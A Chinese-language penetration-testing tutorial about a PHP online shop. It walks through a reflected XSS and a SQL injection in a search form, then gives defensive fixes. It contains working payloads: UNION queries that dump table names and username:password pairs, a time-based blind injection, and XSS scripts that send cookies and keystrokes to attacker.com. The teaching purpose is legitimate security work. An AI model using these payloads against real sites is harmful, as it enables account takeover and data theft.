渗透测试 | 某商城系统漏洞挖掘经验分享
字数 1368 2025-08-20 18:18:17
商城系统渗透测试与漏洞挖掘实战指南
1. 前言与概述
本教学文档基于某商城系统的实际渗透测试案例,详细分析SQL注入、XSS和文件上传等常见Web漏洞的发现与利用过程。这些漏洞类型在Web应用中普遍存在,理解其原理和利用方法对安全测试人员至关重要。
2. 自动化代码审计
2.1 Seay代码审计工具使用
-
工具选择:Seay源代码审计系统是一款针对PHP代码的自动化审计工具
-
审计重点:
- 查找直接使用
$_GET、$_POST等超全局变量的代码片段 - 关注包含
id等常见参数的SQL查询语句 - 检查文件上传功能的过滤机制
- 查找直接使用
-
典型发现:
- 多处存在直接拼接用户输入到SQL语句的情况
- 缺乏对用户输入的过滤和参数化查询
3. XSS漏洞分析
3.1 反射型XSS漏洞
漏洞位置:/query.php页面
漏洞详情:
- URL参数
paypass未经过滤直接输出到页面 - 攻击向量:
/query.php?no=20240722161122525&paypass="><sCrIpT>alert(1)</ScRiPt>
代码分析:
// 从注释推断的代码逻辑
$srow['sta'] = ...; // 决定是否跳转
header("Location: query.php?no=".$md5_trade_no."&paypass=".$paypass);
漏洞成因:
paypass参数未经过任何过滤- 恶意输入被直接插入到跳转URL中
- 当页面渲染时,恶意脚本被执行
4. SQL注入漏洞分析
4.1 搜索功能SQL注入
漏洞文件:template/g4/sousuo.php
漏洞代码:
$pz = $_POST['pz'];
if (!empty($pz)) {
$gsql = "SELECT * FROM safwl_goods WHERE gName like '%$pz%' or id like '%$pz%' or tpId like '%$pz%' order by id desc";
$grs = $DB->query($gsql);
// ...
}
漏洞特征:
- 直接拼接用户输入(
$pz)到SQL语句 - 无任何过滤或参数化处理
- 影响多个字段(
gName,id,tpId)
4.2 SQL注入利用示例
攻击向量:
POST /sousuo.php HTTP/1.1
Host: xxx.xx.xxx.xx
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
pz=1%27and%28select%2Afrom%28select%2Bsleep%282%29%29a%2F%2A%2A%2Fun
解码后实际输入:
pz=1'and(select*from(select+sleep(2))a/**/un
攻击效果:
- 通过时间盲注技术(
sleep(2))验证漏洞存在 - 可进一步利用获取数据库信息
4.3 其他SQL注入点
- 通过ID参数的简单写法推测可能存在多处注入
- 授权与非授权状态下的注入风险差异
5. 漏洞利用进阶
5.1 SQL注入深入利用
-
信息获取:
- 获取数据库版本:
pz=1' UNION SELECT 1,version(),3,4-- - - 获取表名:
pz=1' UNION SELECT 1,group_concat(table_name),3,4 FROM information_schema.tables WHERE table_schema=database()-- -
- 获取数据库版本:
-
数据提取:
- 获取用户表数据:
pz=1' UNION SELECT 1,group_concat(username,':',password),3,4 FROM users-- -
- 获取用户表数据:
5.2 XSS漏洞利用扩展
-
窃取Cookie:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> -
键盘记录:
<script>document.onkeypress=function(e){new Image().src='http://attacker.com/keylog.php?k='+e.keyCode;}</script>
6. 防御措施
6.1 SQL注入防御
-
参数化查询:
$stmt = $DB->prepare("SELECT * FROM safwl_goods WHERE gName LIKE ? OR id LIKE ? OR tpId LIKE ? ORDER BY id DESC"); $stmt->execute(["%$pz%", "%$pz%", "%$pz%"]); -
输入过滤:
$pz = addslashes($_POST['pz']); // 基础过滤 // 或更好的方式 $pz = $DB->quote("%$_POST[pz]%");
6.2 XSS防御
-
输出编码:
echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8'); -
内容安全策略(CSP):
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'">
6.3 通用安全建议
- 使用最新框架的安全功能
- 定期进行代码审计和安全测试
- 实施最小权限原则
- 记录和监控可疑活动
7. 总结
本案例展示了常见Web漏洞的实际发现和利用过程,强调了:
- 用户输入永远不可信的原则
- 安全开发实践的重要性
- 自动化工具与手动验证结合的必要性
- 纵深防御的安全理念
通过理解这些漏洞的原理和利用方法,安全人员可以更有效地发现和修复系统中的安全问题。